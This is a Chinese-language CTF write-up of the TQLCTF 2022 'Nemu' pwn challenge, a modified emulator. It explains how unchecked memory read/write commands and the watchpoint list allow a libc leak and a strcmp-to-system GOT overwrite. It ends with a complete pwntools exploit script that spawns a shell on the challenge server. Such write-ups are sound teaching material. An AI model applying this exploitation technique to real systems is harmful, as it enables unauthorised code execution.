[TQLCTF] 2022 Nemu-Wp
题目附件我已上传到我的Github,有需要的可以自行下载,复现该题目时,远程环境我使用的是NSSCTF的环境。
下载附件后,发现有四个文件,一个源码(nemu_source_code),一个elf文件(nemu),一个libc文件(libc-2.23.so),还有一个查了以后才知道是Apple Desktop Service Store(.DS_Store),做题过程中发现没啥用好像。
老流程,将nemu放入IDA进行反汇编,反汇编出来有一大堆东西,可以在侧边看见有各种形如:cmd_
的函数名,可以执行各种指令,初步猜测是在模拟一个bash之类的东西,随后,我去网上搜了一下Nemu,发现这是南京大学的一个开源的调试器项目:Nemu,有兴趣的可以去看看,下面对各个函数逐步分析。
先把程序放入虚拟机运行,发现运行不了,报出如图的错误:
这是由于libreadline.so.6已经过时了,用libreadline.so.8就行了,使用如下命令,来创建软链接:
cd /lib/x86_64-linux-gnu/
sudo ln -s libreadline.so.8 libreadline.so.6
这时就发现已经可以运行了,运行起来之后输入help,查看有哪些指令可以用,发现一共有10条指令可以用:
- help:查看所有指令,以及其作用
- c:继续执行程序(有点像gdb中的
c
命令) - q:退出程序
- si:单步执行程序
- info:显示所有的断点信息(后面可以用来泄露libc)
- x:读取内存的内容
- p:显示变量与数值
- w:建立断点
- d:删除断点
- set:写入内存
进入ida分析以后发现,x指令与set指令在对内存进行读写时,未进行验证,也就是说可以任意地址读写。
分析一下读写的函数vaddr_write
和vaddr_read
,可以发现读写都是通过对pmem的偏移来实现的,而pmem位于0x06A3B80的位置,所以我们只能读写这个地址以上的地址。
而通过对scan watchpoint
这个函数的分析可以看出,断点保存在一个链表里,head的next位即是下一个断点,而head是一个结构体,存在old_value,new_value等属性。
那么利用思想就是先设置一个断点,让head不为NULL,然后利用任意地址写的功能,向head中写入got表中的地址,然后利用info函数打印断点信息,来泄露libc中的地址,从而计算出libc的基址,由于got表可写,所以利用set任意地址写入,向head写入strcmp的got表的地址,并设置断点,使其值为计算出的system的函数的地址,然后输入/bin/sh\x00
即可getshell。
由于old_value位只有四个字节,所以泄漏的时候低位和高位是分开的,其余的位数存在于new_value中,所以需要分两次接受数据。
然后又由于写入与读取都是通过结构体的偏移来实现的,可以在ida中查看到,old_value的位置位于head偏移0x30的位置,所以读写的时候需要减去0x30。
这里要感谢Ayaka师傅的指点,我写的时候想了很久为什么需要减去0x30,没有想起来结构体的偏移这回事。
完整exp如下:
from pwn import *
from sgtpyutils.logger import logger
io=remote('1.14.71.254',28964)
#io=process('./nemu')
elf=ELF('./nemu')
libc=ELF('./libc-2.23.so')
context.arch='amd64'
context.log_level='debug'
pmem_addr=0x6A3B80
head_addr=0x86A3FC8
def do_cmd(_cmd):
io.recvuntil("(nemu) ")
io.sendline(str(_cmd))
def mem_set(addr,data):
io.recvuntil("(nemu) ")
io.sendline('set {addr} {data}'.format(addr=hex(addr-pmem_addr),data=hex(data)))
do_cmd('w $rax')
free_got=elf.got['free']
mem_set(head_addr,0x60eff0)
do_cmd('info w')
#gdb.attach(io)
#pause()
io.recvuntil('0x')
low_addr = int(io.recv(8),16)
io.recvuntil('0x')
high_addr = int(io.recv(4),16)
free_addr=low_addr+(high_addr*0x100000000)
libc_base=free_addr-libc.symbols['free']
logger.info("free_got: " + hex(free_got))
logger.info('libc_base:' + hex(libc_base))
sys_addr = libc_base+libc.symbols['system']
mem_set(head_addr,0)
strcmp_got=elf.got['strcmp']
mem_set(head_addr-0x8,strcmp_got-0x30)
do_cmd('w ' + hex(sys_addr))
io.recvuntil("(nemu) ")
io.sendline(b'/bin/sh\x00')
#gdb.attach(io)
#pause()
io.interactive()